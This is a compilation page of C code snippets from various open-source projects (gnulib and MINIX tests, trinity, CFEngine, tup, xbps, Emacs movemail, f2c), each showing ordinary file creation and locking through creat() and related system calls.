  /* Clean up any trash from prior testsuite runs.  */
  ignore_value (system ("rm -rf " BASE "*"));

  /* Test behaviour for invalid file descriptors.  */
  {
    errno = 0;
    ASSERT (utimensat (-1, "foo", NULL, 0) == -1);
    ASSERT (errno == EBADF);
  }
  {
    close (99);
    errno = 0;
    ASSERT (utimensat (99, "foo", NULL, 0) == -1);
    ASSERT (errno == EBADF);
  }

  /* Basic tests.  */
  result1 = test_utimens (do_utimensat, true);
  result2 = test_lutimens (do_lutimensat, result1 == 0);
  dfd = open (".", O_RDONLY);
  ASSERT (0 <= dfd);
  ASSERT (test_utimens (do_utimensat, false) == result1);
  ASSERT (test_lutimens (do_lutimensat, false) == result2);
  /* We expect 0/0, 0/77, or 77/77, but not 77/0.  */
  ASSERT (result1 <= result2);

  /* Directory-relative tests.  */
  ASSERT (mkdir (BASE "dir", 0700) == 0);
  ASSERT (chdir (BASE "dir") == 0);
  fd = creat ("file", 0600);
  ASSERT (0 <= fd);
  errno = 0;
  ASSERT (utimensat (fd, ".", NULL, 0) == -1);
  ASSERT (errno == ENOTDIR);
  {
    struct timespec ts[2] = { { Y2K, 0 }, { Y2K, 0 } };
    struct stat st;
    ASSERT (utimensat (dfd, BASE "dir/file", ts, AT_SYMLINK_NOFOLLOW) == 0);
    ASSERT (stat ("file", &st) == 0);
    ASSERT (st.st_atime == Y2K);
    ASSERT (get_stat_atime_ns (&st) == 0);
    ASSERT (st.st_mtime == Y2K);
    ASSERT (get_stat_mtime_ns (&st) == 0);
  }
  ASSERT (close (fd) == 0);
  ASSERT (close (dfd) == 0);
  errno = 0;
  ASSERT (utimensat (dfd, ".", NULL, 0) == -1);
  ASSERT (errno == EBADF);

  /* Cleanup.  */
  ASSERT (chdir ("..") == 0);
  ASSERT (unlink (BASE "dir/file") == 0);
  ASSERT (rmdir (BASE "dir") == 0);
  return result1 | result2;
}
コード例 #12
0
ファイル: combine.c プロジェクト: dLobatog/System-Calls
int readBinary(const char *inputfile1, const char *inputfile2, const char *outputfile) {
	char product[52];
	float weight;
	int reference, stock;
	int nlines1=0, nlines2=0;
	int i=0;
	char line [86];
	int fh1;
	int fh2;
	int fd;
	// reads lines and records of inputfile1 and saves them to an array of records
	if((fh1 = open(inputfile1,O_RDONLY)) < 0) {
		perror("Error opening binary file");
		return 1;
	} else {
		Record rec;
		while(read(fh1, &rec, sizeof(Record))> 0) {
			nlines1++;
		}
		close(fh1);
	}
	Record recs1[nlines1];
	if((fh1 = open(inputfile1,O_RDONLY)) < 0) {
		perror("Error opening binary file");
		return 1;
	} else {
		Record rec;
		while(read(fh1, &recs1[i], sizeof(Record))>0) {
			i++;
		}
	}
	close(fh1);

	// reads lines and records of inputfile1 and saves them to an array of records
	if((fh2 = open(inputfile2,O_RDONLY)) < 0) {
		perror("Error opening binary file");
		return 1;
	} else {
		Record rec;
		while(read(fh2, &rec, sizeof(Record))> 0) {
			nlines2++;
		}
		close(fh2);
	}
	Record recs2[nlines2];
	i=0;
	if((fh2 = open(inputfile2,O_RDONLY)) < 0) {
		perror("Error opening binary file");
		return 1;
	} else {
		Record rec;
		while(read(fh2, &recs2[i], sizeof(Record))>0) {
			i++;
		}
	}
	close(fh2);
	// create binary file
	if((fd = creat(outputfile,0666)) < 0) {
		perror("Error when creating binary file");
		return 1;
	}
	recMergeBatch(recs1, recs2, nlines1, nlines2, fd);
	close(fd);
	return 0;
}
コード例 #13
0
void test22a()
{
  int fd1, fd2;
  int i, oldmask;
  int stat_loc;			/* For the wait sys call. */

  subtest = 1;

  system("chmod 777 ../DIR_22/* ../DIR_22/*/* > /dev/null 2>&1");
  System("rm -rf ../DIR_22/*");

  oldmask = 0123;		/* Set oldmask and umask. */
  umask(oldmask);		/* Set oldmask and umask. */

  /* Check all the possible values of umask. */
  for (i = 0000; i <= 0777; i++) {
	if (oldmask != umask(i)) e(1);	/* set umask() */
	fd1 = open("open", O_CREAT, 0777);
	if (fd1 != 3) e(2);	/* test open(), */
	fd2 = creat("creat", 0777);
	if (fd2 != 4) e(3);	/* creat(), */
	if (mkdir("dir", 0777) != 0) e(4);	/* mkdir(), */
	if (mkfifo("fifo", 0777) != 0) e(5);	/* and mkfifo(). */

	if (umode("open") != i) e(6);	/* see if they have */
	if (umode("creat") != i) e(7);	/* the proper mode */
	if (umode("dir") != i) e(8);
	if (umode("fifo") != i) e(9);

	/* Clean up */
	if (close(fd1) != 0) e(10);
	if (close(fd2) != 0) e(11);	/* close fd's and */
	unlink("open");		/* clean the dir */
	unlink("creat");
	rmdir("dir");
	unlink("fifo");
	oldmask = i;		/* save current mask */
  }

  /* Check-reset mask */
  if (umask(0124) != 0777) e(12);

  /* Check if a umask of 0000 leaves the modes alone. */
  if (umask(0000) != 0124) e(13);
  for (i = 0000; i <= 0777; i++) {
	fd1 = open("open", O_CREAT, i);
	if (fd1 != 3) e(14);	/* test open(), */
	fd2 = creat("creat", i);
	if (fd2 != 4) e(15);	/* creat(), */
	if (mkdir("dir", i) != 0) e(16);	/* mkdir(), */
	if (mkfifo("fifo", i) != 0) e(17);	/* and mkfifo(). */

	if (mode("open") != i) e(18);	/* see if they have */
	if (mode("creat") != i) e(19);	/* the proper mode */
	if (mode("dir") != i) e(20);
	if (mode("fifo") != i) e(21);

	/* Clean up */
	if (close(fd1) != 0) e(22);
	if (close(fd2) != 0) e(23);
	if (unlink("open") != 0) e(24);
	unlink("creat");
	rmdir("dir");
	unlink("fifo");
  }

  /* Check if umask survives a fork() */
  if (umask(0124) != 0000) e(25);
  switch (fork()) {
      case -1:	fprintf(stderr, "Can't fork\n");	break;
      case 0:
	mkdir("bar", 0777);	/* child makes a dir */
	exit(0);
      default:
	if (wait(&stat_loc) == -1) e(26);
  }
  if (umode("bar") != 0124) e(27);
  rmdir("bar");

  /* Check if umask in child changes umask in parent. */
  switch (fork()) {
      case -1:	fprintf(stderr, "Can't fork\n");	break;
      case 0:
	switch (fork()) {
	    case -1:
		fprintf(stderr, "Can't fork\n");
		break;
	    case 0:
		if (umask(0432) != 0124) e(28);
		exit(0);
	    default:
		if (wait(&stat_loc) == -1) e(29);
	}
	if (umask(0423) != 0124) e(30);
	exit(0);
      default:
	if (wait(&stat_loc) == -1) e(31);
  }
  if (umask(0342) != 0124) e(32);

  /* See if extra bits are ignored */
  if (umask(0xFFFF) != 0342) e(33);
  if (umask(0xFE00) != 0777) e(34);
  if (umask(01777) != 0000) e(35);
  if (umask(0022) != 0777) e(36);
}
コード例 #14
0
ファイル: sockets.c プロジェクト: rantala/trinity
void generate_sockets(void)
{
	struct flock fl = {
		.l_type = F_WRLCK,
		.l_whence = SEEK_SET,
	};

	int fd, n;
	int cachefile;
	unsigned int nr_to_create = NR_SOCKET_FDS;

	unsigned long domain, type, protocol;
	unsigned int buffer[3];

	cachefile = creat(cachefilename, S_IWUSR|S_IRUSR);
	if (cachefile < 0) {
		printf("Couldn't open cachefile for writing! (%s)\n",
			strerror(errno));
		exit(EXIT_FAILURE);
	}

	if (verbose)
		output(2, "taking writer lock for cachefile\n");
	fl.l_pid = getpid();
	fl.l_type = F_WRLCK;
	if (fcntl(cachefile, F_SETLKW, &fl) == -1) {
		perror("fcntl F_WRLCK F_SETLKW");
		exit(EXIT_FAILURE);
	}

	if (verbose)
		output(2, "took writer lock for cachefile\n");

	while (nr_to_create > 0) {

		if (shm->exit_reason != STILL_RUNNING)
			return;

		/* Pretend we're child 0 and we've called sys_socket */
		sanitise_socket(0);

		//FIXME: If we passed a specific domain, we want to sanitise
		//  the proto/type fields.  Split it out of sanitise_socket()

		if (do_specific_proto == TRUE)
			domain = specific_proto;
		else
			domain = shm->a1[0];

		type = shm->a2[0];
		protocol = shm->a3[0];

		fd = open_socket(domain, type, protocol);
		if (fd > -1) {
			nr_to_create--;

			buffer[0] = domain;
			buffer[1] = type;
			buffer[2] = protocol;
			n = write(cachefile, &buffer, sizeof(int) * 3);
			if (n == -1) {
				printf("something went wrong writing the cachefile!\n");
				exit(EXIT_FAILURE);
			}

			if (nr_to_create == 0)
				goto done;
		}

		/* check for ctrl-c */
		if (shm->exit_reason != STILL_RUNNING)
			return;

		//FIXME: If we've passed -P and we're spinning here without making progress
		// then we should abort after a few hundred loops.
	}

done:
	fl.l_type = F_UNLCK;
	if (fcntl(cachefile, F_SETLK, &fl) == -1) {
		perror("fcntl F_SETLK");
		exit(1);
	}

	if (verbose)
		output(2, "dropped writer lock for cachefile\n");
	output(1, "created %d sockets\n", nr_sockets);

	close(cachefile);
}
コード例 #15
0
int CheckPromises(enum cfagenttype ag)

{ char cmd[CF_BUFSIZE], cfpromises[CF_MAXVARSIZE];
  char filename[CF_MAXVARSIZE];
  struct stat sb;
  int fd;

if ((ag != cf_agent) && (ag != cf_executor) && (ag != cf_server))
   {
   return true;
   }

CfOut(cf_verbose,""," -> Verifying the syntax of the inputs...\n");

snprintf(cfpromises,sizeof(cfpromises),"%s%cbin%ccf-promises%s",CFWORKDIR,FILE_SEPARATOR,FILE_SEPARATOR,EXEC_SUFFIX);

if (cfstat(cfpromises,&sb) == -1)
   {
   CfOut(cf_error,"","cf-promises%s needs to be installed in %s%cbin for pre-validation of full configuration",EXEC_SUFFIX,CFWORKDIR,FILE_SEPARATOR);
   return false;
   }

/* If we are cf-agent, check syntax before attempting to run */

snprintf(cmd, sizeof(cmd), "\"%s\" -f \"", cfpromises);


if (IsFileOutsideDefaultRepository(VINPUTFILE))
   {
   strlcat(cmd, VINPUTFILE, CF_BUFSIZE);
   }
else
   {
   strlcat(cmd, CFWORKDIR, CF_BUFSIZE);
   strlcat(cmd, FILE_SEPARATOR_STR "inputs" FILE_SEPARATOR_STR, CF_BUFSIZE);
   strlcat(cmd, VINPUTFILE, CF_BUFSIZE);
   }

strlcat(cmd, "\"", CF_BUFSIZE);

if (CBUNDLESEQUENCE)
   {
   strlcat(cmd, " -b \"", CF_BUFSIZE);
   strlcat(cmd, CBUNDLESEQUENCE_STR, CF_BUFSIZE);
   strlcat(cmd, "\"", CF_BUFSIZE);
   }

if(BOOTSTRAP)
   {
   // avoids license complains from commercial cf-promises during bootstrap - see Nova_CheckLicensePromise
   strlcat(cmd, " -D bootstrap_mode", CF_BUFSIZE);
   }

/* Check if reloading policy will succeed */

CfOut(cf_verbose, "", "Checking policy with command \"%s\"", cmd);

if (ShellCommandReturnsZero(cmd,true))
   {
   if (MINUSF)
      {
      snprintf(filename,CF_MAXVARSIZE,"%s/state/validated_%s",CFWORKDIR,CanonifyName(VINPUTFILE));
      MapName(filename);   
      }
   else
      {
      snprintf(filename,CF_MAXVARSIZE,"%s/masterfiles/cf_promises_validated",CFWORKDIR);
      MapName(filename);
      }
   
   MakeParentDirectory(filename,true);
   
   if ((fd = creat(filename,0600)) != -1)
      {
      close(fd);
      CfOut(cf_verbose,""," -> Caching the state of validation\n");
      }
   else
      {
      CfOut(cf_verbose,"creat"," -> Failed to cache the state of validation\n");
      }
   
   return true;
   }
else
   {
   return false;
   }
}
コード例 #16
0
ファイル: init.c プロジェクト: Rendaw/tup
int init_command(int argc, char **argv)
{
	int x;
	int db_sync = 1;
	int force_init = 0;
	int fd;
	const char *dirname = NULL;

	for(x=1; x<argc; x++) {
		if(strcmp(argv[x], "--no-sync") == 0) {
			db_sync = 0;
		} else if(strcmp(argv[x], "--force") == 0) {
			/* force should only be used for tup/test */
			force_init = 1;
		} else {
			if(dirname) {
				fprintf(stderr, "tup error: Expected only one directory name for 'tup init', but got '%s' and '%s'\n", dirname, argv[x]);
				return -1;
			}
			dirname = argv[x];
		}
	}

	if(dirname) {
		if(mkdirtree(dirname) < 0)
			return -1;
	} else {
		dirname = ".";
	}

	fd = open(dirname, O_RDONLY);
	if(fd < 0) {
		perror(dirname);
		return -1;
	}

	if(!force_init && find_tup_dir() == 0) {
		char wd[PATH_MAX];
		if(getcwd(wd, sizeof(wd)) == NULL) {
			perror("getcwd");
			fprintf(stderr, "tup warning: database already exists somewhere up the tree.\n");
		} else {
			fprintf(stderr, "tup warning: database already exists in directory: %s\n", wd);
		}
		close(fd);
		return 0;
	}

	if(fchdir(fd) < 0) {
		perror("fchdir");
		close(fd);
		return -1;
	}
	if(close(fd) < 0) {
		perror("close(fd)");
		return -1;
	}

	if(mkdir(TUP_DIR, 0777) != 0) {
		perror(TUP_DIR);
		return -1;
	}

	if(tup_db_create(db_sync) != 0) {
		return -1;
	}

	if(creat(TUP_OBJECT_LOCK, 0666) < 0) {
		perror(TUP_OBJECT_LOCK);
		return -1;
	}
	if(creat(TUP_SHARED_LOCK, 0666) < 0) {
		perror(TUP_SHARED_LOCK);
		return -1;
	}
	if(creat(TUP_TRI_LOCK, 0666) < 0) {
		perror(TUP_TRI_LOCK);
		return -1;
	}
	if(!db_sync) {
		FILE *f = fopen(TUP_OPTIONS_FILE, "w");
		if(!f) {
			perror(TUP_OPTIONS_FILE);
			return -1;
		}
		fprintf(f, "[db]\n");
		fprintf(f, "\tsync = false\n");
		fclose(f);
	}
	return 0;
}
コード例 #17
0
ファイル: sign.c プロジェクト: ebfe/xbps
static int
sign_pkg(struct xbps_handle *xhp, const char *binpkg, const char *privkey, bool force)
{
	RSA *rsa = NULL;
	struct stat st;
	unsigned char *sig = NULL;
	unsigned int siglen = 0;
	char *buf = NULL, *sigfile = NULL;
	int rv = 0, sigfile_fd = -1, binpkg_fd = -1;

	sigfile = xbps_xasprintf("%s.sig", binpkg);
	/*
	 * Skip pkg if file signature exists
	 */
	if (!force && ((sigfile_fd = access(sigfile, R_OK)) == 0)) {
		if (xhp->flags & XBPS_FLAG_VERBOSE)
			fprintf(stderr, "skipping %s, file signature found.\n", binpkg);

		sigfile_fd = -1;
		goto out;
	}
	/*
	 * Generate pkg file signature.
	 */
	if ((binpkg_fd = open(binpkg, O_RDONLY)) == -1) {
		fprintf(stderr, "cannot read %s: %s\n", binpkg, strerror(errno));
		rv = EINVAL;
		goto out;
	}
	(void)fstat(binpkg_fd, &st);
	buf = malloc(st.st_size);
	assert(buf);
	if (read(binpkg_fd, buf, st.st_size) != st.st_size) {
		fprintf(stderr, "failed to read %s: %s\n", binpkg, strerror(errno));
		rv = EINVAL;
		goto out;
	}
	close(binpkg_fd);
	binpkg_fd = -1;

	rsa = load_rsa_key(privkey);
	if (!rsa_sign_buf(rsa, buf, st.st_size, &sig, &siglen)) {
		fprintf(stderr, "failed to sign %s: %s\n", binpkg, strerror(errno));
		rv = EINVAL;
		goto out;
	}
	free(buf);
	buf = NULL;
	/*
	 * Write pkg file signature.
	 */
	if (force)
		sigfile_fd = open(sigfile, O_WRONLY|O_TRUNC, 0644);
	else
		sigfile_fd = creat(sigfile, 0644);

	if (sigfile_fd == -1) {
		fprintf(stderr, "failed to create %s: %s\n", sigfile, strerror(errno));
		rv = EINVAL;
		free(sig);
		goto out;
	}
	if (write(sigfile_fd, sig, siglen) != (ssize_t)siglen) {
		fprintf(stderr, "failed to write %s: %s\n", sigfile, strerror(errno));
		rv = EINVAL;
		free(sig);
		goto out;
	}
	free(sig);
	printf("signed successfully %s\n", binpkg);

out:
	if (rsa) {
		RSA_free(rsa);
		rsa = NULL;
	}
	if (buf)
		free(buf);
	if (sigfile)
		free(sigfile);
	if (sigfile_fd != -1)
		close(sigfile_fd);
	if (binpkg_fd != -1)
		close(binpkg_fd);

	return rv;
}
コード例 #18
0
ファイル: movemail.c プロジェクト: betusgarcon/emacs
int
main (int argc, char **argv)
{
  char *inname, *outname;
  int indesc, outdesc;
  ssize_t nread;
  int wait_status;
  int c, preserve_mail = 0;

#ifndef MAIL_USE_SYSTEM_LOCK
  struct stat st;
  int tem;
  char *lockname;
  char *tempname;
  size_t inname_len, inname_dirlen;
  int desc;
#endif /* not MAIL_USE_SYSTEM_LOCK */

#ifdef MAIL_USE_MAILLOCK
  char *spool_name;
#endif

#ifdef MAIL_USE_POP
  int pop_reverse_order = 0;
# define ARGSTR "pr"
#else /* ! MAIL_USE_POP */
# define ARGSTR "p"
#endif /* MAIL_USE_POP */

  uid_t real_gid = getgid ();
  uid_t priv_gid = getegid ();

#ifdef WINDOWSNT
  /* Ensure all file i/o is in binary mode. */
  _fmode = _O_BINARY;
#endif

  delete_lockname = 0;

  while ((c = getopt (argc, argv, ARGSTR)) != EOF)
    {
      switch (c) {
#ifdef MAIL_USE_POP
      case 'r':
	pop_reverse_order = 1;
	break;
#endif
      case 'p':
	preserve_mail++;
	break;
      default:
	exit (EXIT_FAILURE);
      }
    }

  if (
#ifdef MAIL_USE_POP
      (argc - optind < 2) || (argc - optind > 3)
#else
      (argc - optind != 2)
#endif
      )
    {
#ifdef MAIL_USE_POP
      fprintf (stderr, "Usage: movemail [-p] [-r] inbox destfile%s\n",
	       " [POP-password]");
#else
      fprintf (stderr, "Usage: movemail [-p] inbox destfile%s\n", "");
#endif
      exit (EXIT_FAILURE);
    }

  inname = argv[optind];
  outname = argv[optind+1];

#ifdef MAIL_USE_MMDF
  mmdf_init (argv[0]);
#endif

  if (*outname == 0)
    fatal ("Destination file name is empty", 0, 0);

#ifdef MAIL_USE_POP
  if (!strncmp (inname, "po:", 3))
    {
      int status;

      status = popmail (inname + 3, outname, preserve_mail,
			(argc - optind == 3) ? argv[optind+2] : NULL,
			pop_reverse_order);
      exit (status);
    }

  if (setuid (getuid ()) < 0)
    fatal ("Failed to drop privileges", 0, 0);

#endif /* MAIL_USE_POP */

#ifndef DISABLE_DIRECT_ACCESS
#ifndef MAIL_USE_MMDF
#ifndef MAIL_USE_SYSTEM_LOCK
#ifdef MAIL_USE_MAILLOCK
  spool_name = mail_spool_name (inname);
  if (spool_name)
    {
#ifdef lint
      lockname = 0;
#endif
    }
  else
#endif
    {
      /* Use a lock file named after our first argument with .lock appended:
	 If it exists, the mail file is locked.  */
      /* Note: this locking mechanism is *required* by the mailer
	 (on systems which use it) to prevent loss of mail.

	 On systems that use a lock file, extracting the mail without locking
	 WILL occasionally cause loss of mail due to timing errors!

	 So, if creation of the lock file fails due to access
	 permission on the mail spool directory, you simply MUST
	 change the permission and/or make movemail a setgid program
	 so it can create lock files properly.

	 You might also wish to verify that your system is one which
	 uses lock files for this purpose.  Some systems use other methods.  */

      inname_len = strlen (inname);
      lockname = xmalloc (inname_len + sizeof ".lock");
      strcpy (lockname, inname);
      strcpy (lockname + inname_len, ".lock");
      for (inname_dirlen = inname_len;
	   inname_dirlen && !IS_DIRECTORY_SEP (inname[inname_dirlen - 1]);
	   inname_dirlen--)
	continue;
      tempname = xmalloc (inname_dirlen + sizeof "EXXXXXX");

      while (1)
	{
	  /* Create the lock file, but not under the lock file name.  */
	  /* Give up if cannot do that.  */

	  memcpy (tempname, inname, inname_dirlen);
	  strcpy (tempname + inname_dirlen, "EXXXXXX");
#ifdef HAVE_MKSTEMP
	  desc = mkstemp (tempname);
#else
	  mktemp (tempname);
	  if (!*tempname)
	    desc = -1;
	  else
	    {
	      unlink (tempname);
	      desc = open (tempname, O_WRONLY | O_CREAT | O_EXCL, 0600);
	    }
#endif
	  if (desc < 0)
	    {
	      int mkstemp_errno = errno;
	      error ("error while creating what would become the lock file",
		     0, 0);
	      errno = mkstemp_errno;
	      pfatal_with_name (tempname);
	    }
	  close (desc);

	  tem = link (tempname, lockname);

	  if (tem < 0 && errno != EEXIST)
	    pfatal_with_name (lockname);

	  unlink (tempname);
	  if (tem >= 0)
	    break;
	  sleep (1);

	  /* If lock file is five minutes old, unlock it.
	     Five minutes should be good enough to cope with crashes
	     and wedgitude, and long enough to avoid being fooled
	     by time differences between machines.  */
	  if (stat (lockname, &st) >= 0)
	    {
	      time_t now = time (0);
	      if (st.st_ctime < now - 300)
		unlink (lockname);
	    }
	}

      delete_lockname = lockname;
    }
#endif /* not MAIL_USE_SYSTEM_LOCK */
#endif /* not MAIL_USE_MMDF */

  if (fork () == 0)
    {
      int lockcount = 0;
      int status = 0;
#if defined (MAIL_USE_MAILLOCK) && defined (HAVE_TOUCHLOCK)
      time_t touched_lock;
# ifdef lint
      touched_lock = 0;
# endif
#endif

      if (setuid (getuid ()) < 0 || setregid (-1, real_gid) < 0)
	fatal ("Failed to drop privileges", 0, 0);

#ifndef MAIL_USE_MMDF
#ifdef MAIL_USE_SYSTEM_LOCK
      indesc = open (inname, O_RDWR);
#else  /* if not MAIL_USE_SYSTEM_LOCK */
      indesc = open (inname, O_RDONLY);
#endif /* not MAIL_USE_SYSTEM_LOCK */
#else  /* MAIL_USE_MMDF */
      indesc = lk_open (inname, O_RDONLY, 0, 0, 10);
#endif /* MAIL_USE_MMDF */

      if (indesc < 0)
	pfatal_with_name (inname);

#ifdef BSD_SYSTEM
      /* In case movemail is setuid to root, make sure the user can
	 read the output file.  */
      /* This is desirable for all systems
	 but I don't want to assume all have the umask system call */
      umask (umask (0) & 0333);
#endif /* BSD_SYSTEM */
      outdesc = open (outname, O_WRONLY | O_CREAT | O_EXCL, 0666);
      if (outdesc < 0)
	pfatal_with_name (outname);

      if (setregid (-1, priv_gid) < 0)
	fatal ("Failed to regain privileges", 0, 0);

      /* This label exists so we can retry locking
	 after a delay, if it got EAGAIN or EBUSY.  */
    retry_lock:

      /* Try to lock it.  */
#ifdef MAIL_USE_MAILLOCK
      if (spool_name)
	{
	  /* The "0 - " is to make it a negative number if maillock returns
	     non-zero. */
	  status = 0 - maillock (spool_name, 1);
#ifdef HAVE_TOUCHLOCK
	  touched_lock = time (0);
#endif
	  lockcount = 5;
	}
      else
#endif /* MAIL_USE_MAILLOCK */
	{
#ifdef MAIL_USE_SYSTEM_LOCK
#ifdef MAIL_USE_LOCKF
	  status = lockf (indesc, F_LOCK, 0);
#else /* not MAIL_USE_LOCKF */
#ifdef WINDOWSNT
	  status = locking (indesc, LK_RLCK, -1L);
#else
	  status = flock (indesc, LOCK_EX);
#endif
#endif /* not MAIL_USE_LOCKF */
#endif /* MAIL_USE_SYSTEM_LOCK */
	}

      /* If it fails, retry up to 5 times
	 for certain failure codes.  */
      if (status < 0)
	{
	  if (++lockcount <= 5 && (errno == EAGAIN || errno == EBUSY))
	    {
	      sleep (1);
	      goto retry_lock;
	    }

	  pfatal_with_name (inname);
	}

      {
	char buf[1024];

	while (1)
	  {
	    nread = read (indesc, buf, sizeof buf);
	    if (nread < 0)
	      pfatal_with_name (inname);
	    if (nread != write (outdesc, buf, nread))
	      {
		int saved_errno = errno;
		unlink (outname);
		errno = saved_errno;
		pfatal_with_name (outname);
	      }
	    if (nread < sizeof buf)
	      break;
#if defined (MAIL_USE_MAILLOCK) && defined (HAVE_TOUCHLOCK)
	    if (spool_name)
	      {
		time_t now = time (0);
		if (now - touched_lock > 60)
		  {
		    touchlock ();
		    touched_lock = now;
		  }
	      }
#endif /* MAIL_USE_MAILLOCK */
	  }
      }

#ifdef BSD_SYSTEM
      if (fsync (outdesc) < 0)
	pfatal_and_delete (outname);
#endif

      /* Prevent symlink attacks truncating other users' mailboxes */
      if (setregid (-1, real_gid) < 0)
	fatal ("Failed to drop privileges", 0, 0);

      /* Check to make sure no errors before we zap the inbox.  */
      if (close (outdesc) != 0)
	pfatal_and_delete (outname);

#ifdef MAIL_USE_SYSTEM_LOCK
      if (! preserve_mail)
	{
	  if (ftruncate (indesc, 0L) != 0)
	    pfatal_with_name (inname);
	}
#endif /* MAIL_USE_SYSTEM_LOCK */

#ifdef MAIL_USE_MMDF
      lk_close (indesc, 0, 0, 0);
#else
      close (indesc);
#endif

#ifndef MAIL_USE_SYSTEM_LOCK
      if (! preserve_mail)
	{
	  /* Delete the input file; if we can't, at least get rid of its
	     contents.  */
#ifdef MAIL_UNLINK_SPOOL
	  /* This is generally bad to do, because it destroys the permissions
	     that were set on the file.  Better to just empty the file.  */
	  if (unlink (inname) < 0 && errno != ENOENT)
#endif /* MAIL_UNLINK_SPOOL */
	    creat (inname, 0600);
	}
#endif /* not MAIL_USE_SYSTEM_LOCK */

      /* End of mailbox truncation */
      if (setregid (-1, priv_gid) < 0)
	fatal ("Failed to regain privileges", 0, 0);

#ifdef MAIL_USE_MAILLOCK
      /* This has to occur in the child, i.e., in the process that
         acquired the lock! */
      if (spool_name)
	mailunlock ();
#endif
      exit (EXIT_SUCCESS);
    }

  wait (&wait_status);
  if (!WIFEXITED (wait_status))
    exit (EXIT_FAILURE);
  else if (WEXITSTATUS (wait_status) != 0)
    exit (WEXITSTATUS (wait_status));

#if !defined (MAIL_USE_MMDF) && !defined (MAIL_USE_SYSTEM_LOCK)
#ifdef MAIL_USE_MAILLOCK
  if (! spool_name)
#endif /* MAIL_USE_MAILLOCK */
    unlink (lockname);
#endif /* not MAIL_USE_MMDF and not MAIL_USE_SYSTEM_LOCK */

#endif /* ! DISABLE_DIRECT_ACCESS */

  return EXIT_SUCCESS;
}
コード例 #19
0
/* Test locking between several fds. */
static void test30(void)
{
	int fd1;
	int fd2;
	int gid;
	int gid2;
	int rc;

	/* Create the test file, and open it. */
	fd1 = creat(mainpath, 0);
	ASSERTF(fd1 >= 0, "open failed for '%s': %s",
		mainpath, strerror(errno));

	/* Open a second time in non blocking mode. */
	fd2 = open(mainpath, O_RDWR | O_NONBLOCK);
	ASSERTF(fd2 >= 0, "open failed for '%s': %s",
		mainpath, strerror(errno));

	/* Valid command first. */
	gid = 1234;
	rc = ioctl(fd1, LL_IOC_GROUP_LOCK, gid);
	ASSERTF(rc == 0, "cannot lock '%s': %s", mainpath, strerror(errno));
	rc = ioctl(fd1, LL_IOC_GROUP_UNLOCK, gid);
	ASSERTF(rc == 0, "cannot unlock '%s': %s", mainpath, strerror(errno));

	/* Lock on one fd, unlock on the other */
	gid = 6947556;
	rc = ioctl(fd1, LL_IOC_GROUP_LOCK, gid);
	ASSERTF(rc == 0, "cannot lock '%s': %s", mainpath, strerror(errno));
	rc = ioctl(fd2, LL_IOC_GROUP_UNLOCK, gid);
	ASSERTF(rc == -1 && errno == EINVAL,
		"unexpected unlock retval: %d %s", rc, strerror(errno));
	rc = ioctl(fd1, LL_IOC_GROUP_UNLOCK, gid);
	ASSERTF(rc == 0, "cannot unlock '%s': %s", mainpath, strerror(errno));

	/* Lock from both */
	gid = 89489665;
	rc = ioctl(fd1, LL_IOC_GROUP_LOCK, gid);
	ASSERTF(rc == 0, "cannot lock '%s': %s", mainpath, strerror(errno));
	rc = ioctl(fd2, LL_IOC_GROUP_LOCK, gid);
	ASSERTF(rc == 0, "cannot lock '%s': %s", mainpath, strerror(errno));
	rc = ioctl(fd2, LL_IOC_GROUP_UNLOCK, gid);
	ASSERTF(rc == 0, "cannot unlock '%s': %s", mainpath, strerror(errno));
	rc = ioctl(fd1, LL_IOC_GROUP_UNLOCK, gid);
	ASSERTF(rc == 0, "cannot unlock '%s': %s", mainpath, strerror(errno));

	/* Lock from both. Unlock in reverse order. */
	gid = 89489665;
	rc = ioctl(fd1, LL_IOC_GROUP_LOCK, gid);
	ASSERTF(rc == 0, "cannot lock '%s': %s", mainpath, strerror(errno));
	rc = ioctl(fd2, LL_IOC_GROUP_LOCK, gid);
	ASSERTF(rc == 0, "cannot lock '%s': %s", mainpath, strerror(errno));
	rc = ioctl(fd1, LL_IOC_GROUP_UNLOCK, gid);
	ASSERTF(rc == 0, "cannot unlock '%s': %s", mainpath, strerror(errno));
	rc = ioctl(fd2, LL_IOC_GROUP_UNLOCK, gid);
	ASSERTF(rc == 0, "cannot unlock '%s': %s", mainpath, strerror(errno));

	/* Try to lock with different gids */
	gid = 89489665;
	rc = ioctl(fd1, LL_IOC_GROUP_LOCK, gid);
	ASSERTF(rc == 0, "cannot lock '%s': %s", mainpath, strerror(errno));
	for (gid2 = -50; gid2 < 50; gid2++) {
		rc = ioctl(fd2, LL_IOC_GROUP_LOCK, gid2);
		if (gid2 == 0)
			ASSERTF(rc == -1 && errno == EINVAL,
				"unexpected lock retval for gid %d: %s",
				gid2, strerror(errno));
		else
			ASSERTF(rc == -1 && errno == EAGAIN,
				"unexpected lock retval for gid %d: %s",
				gid2, strerror(errno));
	}
	rc = ioctl(fd1, LL_IOC_GROUP_UNLOCK, gid);
	ASSERTF(rc == 0, "cannot unlock '%s': %s",
		mainpath, strerror(errno));

	close(fd1);
	close(fd2);
}
コード例 #20
0
ファイル: pipe.hpp プロジェクト: ShinShil/spovm
			static int _create(const char* path, int mode) {
				return creat(path, mode);
			}
コード例 #21
0
t_runc(alist *a)
#endif
{
	char nm[L_tmpnam+12];	/* extra space in case L_tmpnam is tiny */
	long loc, len;
	unit *b;
#ifdef NON_UNIX_STDIO
	FILE *bf, *tf;
#else
	FILE *bf;
#endif
	int rc = 0;

	b = &f__units[a->aunit];
	if(b->url)
		return(0);	/*don't truncate direct files*/
	loc=ftell(bf = b->ufd);
	fseek(bf,0L,SEEK_END);
	len=ftell(bf);
	if (loc >= len || b->useek == 0 || b->ufnm == NULL)
		return(0);
#ifdef NON_UNIX_STDIO
	fclose(b->ufd);
#else
	rewind(b->ufd);	/* empty buffer */
#endif
	if (!loc) {
#ifdef NON_UNIX_STDIO
		if (!(bf = fopen(b->ufnm, f__w_mode[b->ufmt])))
#else
		if (close(creat(b->ufnm,0666)))
#endif
			rc = 1;
		if (b->uwrt)
			b->uwrt = 1;
		goto done;
		}
#ifdef _POSIX_SOURCE
	tmpnam(nm);
#else
	strcpy(nm,"tmp.FXXXXXX");
	mktemp(nm);
#endif
#ifdef NON_UNIX_STDIO
	if (!(bf = fopen(b->ufnm, f__r_mode[0]))) {
 bad:
		rc = 1;
		goto done;
		}
	if (!(tf = fopen(nm, f__w_mode[0])))
		goto bad;
	if (copy(bf, loc, tf)) {
 bad1:
		rc = 1;
		goto done1;
		}
	if (!(bf = freopen(b->ufnm, f__w_mode[0], bf)))
		goto bad1;
	if (!(tf = freopen(nm, f__r_mode[0], tf)))
		goto bad1;
	if (copy(tf, loc, bf))
		goto bad1;
